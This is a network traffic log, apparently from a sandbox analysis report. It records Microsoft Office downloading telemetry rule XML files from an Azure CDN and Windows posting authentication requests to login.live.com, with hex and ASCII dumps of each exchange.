2024-10-18 22:13:59 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.10	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:59 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0c00d68f-601e-0084-7bd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221359Z-16b659b4499jjs4wp9fdvw3np80000000byg00000000cntr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.10	49777	20.190.160.14	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-18 22:13:59 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-18 22:13:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 18 Oct 2024 22:12:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C512_SN1 x-ms-request-id: 5b69ab36-6f64-4af2-a680-15799e432b23 PPServer: PPV: 30 H: SN1PEPF0002F921 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 18 Oct 2024 22:13:58 GMT Connection: close Content-Length: 11412
2024-10-18 22:13:59 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.10	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:59 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:59 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a14db6d3-f01e-003f-58d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221359Z-16b659b44999mb85a5wquzbrz800000009m000000000u1qd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:59 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.10	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:00 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 310b9d61-301e-0051-4f21-2138bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221400Z-15b8d89586fhl2qtt2ydkugwts00000005f000000000mqbe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:00 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.10	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:00 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 2bfc10a8-001e-00ad-20d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221400Z-15b8d89586f4zwgbz365q03b0c00000005ug00000000439t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:00 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.10	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 34547014-f01e-003f-75cc-20d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221400Z-16b659b4499vb6rgub5604hgz00000000apg000000006kdv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.10	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4d3d3003-601e-0070-6292-1fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221400Z-15b8d89586flzzksd4nk2msxr400000004y000000000pnfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.10	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: d4bc84b0-b01e-0097-04d8-1e4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221400Z-15b8d89586f989rks44whx5v7s00000005rg000000009usv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.10	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2ef97735-601e-0070-7dd8-1ea0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221401Z-15b8d89586f6nn8zwfkdy3t04s00000005e000000000svp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.10	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:00 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 96579733-301e-0099-3cd8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221400Z-16b659b4499tswxxb16erk3cdn0000000cfg000000002hf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.10	49788	20.190.160.14	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
